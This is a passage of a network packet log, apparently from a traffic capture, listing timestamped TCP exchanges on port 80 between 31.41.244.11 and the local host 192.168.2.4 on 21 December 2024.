Dec 21, 2024 18:16:34.740968943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.741008997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.741041899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.741080046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.742472887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.742515087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.742722034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.742758989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.743675947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.743720055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.743746996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.743787050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.744522095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.744561911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.744652033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.744699001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.745886087 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.745928049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.745943069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.745979071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.747117996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.747160912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.747236967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.747276068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.748191118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.748233080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.748255968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.748294115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.749286890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.749325991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.749363899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.749403000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.750439882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.750478983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.750562906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.750603914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.751739025 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.751780987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.751872063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.751909018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.752830982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.752873898 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.752918959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.752954960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.754048109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.754080057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.754159927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.754204035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.755220890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.755263090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.755337000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.755376101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.756484032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.756531954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.756555080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.756597042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.757631063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.757671118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.757704020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.757751942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.758869886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.758913994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.759001970 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.759044886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.760011911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.760059118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.760103941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.760140896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.761254072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.761303902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.761476994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.761521101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.762420893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.762461901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.762505054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.762547970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.763638973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.763691902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.763734102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.763773918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.764765978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.764810085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.764847994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.764887094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.765983105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.766025066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.766063929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.766103983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.767257929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.767302036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.767453909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.767492056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.768867016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.768908978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.768975019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.769013882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.898940086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.898967028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.899131060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.899338007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.899374962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.899398088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.899420977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.900386095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.900437117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.900562048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.900605917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.901640892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.901690006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.901729107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.901772022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.902760983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.902810097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.902856112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.902896881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.904474974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.904525042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.904570103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.904614925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.905911922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.905961037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.906074047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.906120062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.907248974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.907325029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.907386065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.907428026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.908246040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.908301115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.908337116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.908380985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.909229040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.909276009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.909322977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.909372091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.910554886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.910600901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.910762072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.910809040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.911988020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.912040949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.912048101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.912097931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.913244009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.913295031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.913341045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.913384914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.914344072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.914392948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.914474964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.914522886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.915463924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.915513039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.915550947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.915594101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.916621923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.916670084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.916762114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.916806936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.917893887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.917941093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.917985916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.918029070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.919157028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.919209957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.919255972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.919298887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.920392036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.920439959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.920563936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.920605898 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.921268940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.921315908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.921488047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.921531916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.922313929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.922358990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.922452927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.922497988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.923425913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.923479080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.923564911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.923619032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.924730062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.924777031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.924814939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.924855947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.925457954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.925503969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.925543070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.925584078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.926635027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.926681995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.926789045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.926831961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.927828074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.927875042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.927941084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.927987099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.929009914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.929054976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.929126024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.929168940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.930227041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.930272102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.930311918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.930352926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.931404114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.931462049 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.931508064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.931550980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.932642937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.932688951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.932710886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.932756901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.933783054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.933830976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.933876991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.933918953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.935112953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.935158014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.935189962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.935235977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.936250925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.936295986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.936333895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.936378956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.937362909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.937407970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.937519073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.937562943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.938590050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.938657999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.938687086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.938729048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.939730883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.939774990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.939865112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.939915895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.941004992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.941050053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.941185951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.941229105 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.942148924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.942192078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.942286015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.942327023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.943357944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.943454981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.943511009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.943557024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.944518089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.944566011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.944608927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.944653034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.945749998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.945797920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.945955038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.946000099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.947141886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.947190046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.947225094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.947273970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.948261023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.948306084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.948343039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.948385954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.949830055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.949879885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.949908018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.949954033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.950862885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.950906992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.950952053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.950998068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.951965094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.952013016 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.952054977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.952111006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.952936888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.952982903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.953186035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.953242064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.954077005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.954152107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.954257011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.954384089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.955308914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.955384970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.955415964 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.955463886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.956469059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.956517935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.956593037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.956635952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.957779884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.957825899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.957906008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.957952976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.958878994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.958961010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.959031105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.959079981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.960110903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.960179090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.960222006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.960268021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.961520910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.961565018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.091187954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.091233969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.091267109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.091286898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.091306925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.091325998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.092353106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.092410088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.092461109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.092508078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.093390942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.093440056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.093480110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.093528986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.094254971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.094301939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.094352007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.094399929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.095427036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.095489025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.095556021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.095604897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.096714020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.096745014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.096781969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.096796036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.097866058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.097927094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.097968102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.098015070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.099035025 CET	80	49826	31.41.244.11	192.168.2.4
